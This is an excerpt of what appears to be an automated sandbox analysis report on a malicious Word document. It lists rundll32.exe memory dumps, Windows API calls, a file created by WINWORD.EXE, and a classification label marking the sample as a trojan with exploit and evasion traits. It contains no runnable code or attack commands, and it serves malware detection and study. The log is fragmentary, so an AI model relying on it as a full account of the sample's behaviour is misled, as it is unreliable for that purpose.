Source: rundll32.exe, 00000006.00000002.2105059366.0000000001C80000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2100112011.0000000001C30000.00000002.00000001.sdmp, rundll32.exe, 00000014.00000002.2119718363.0000000001E20000.00000002.00000001.sdmp, rundll32.exe, 00000015.00000002.2351863247.0000000001DC0000.00000002.00000001.sdmp Binary or memory string: .VBPud<_
Source: classification engine Classification label: mal100.troj.expl.evad.winDOC@38/8@1/2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 21_2_001F1C88 CreateToolhelp32Snapshot, 21_2_001F1C88
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10002D70 SysAllocString,CoCreateInstance,PropVariantClear,SysFreeString,SysFreeString, 7_2_10002D70
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$PACK.doc Jump to behavior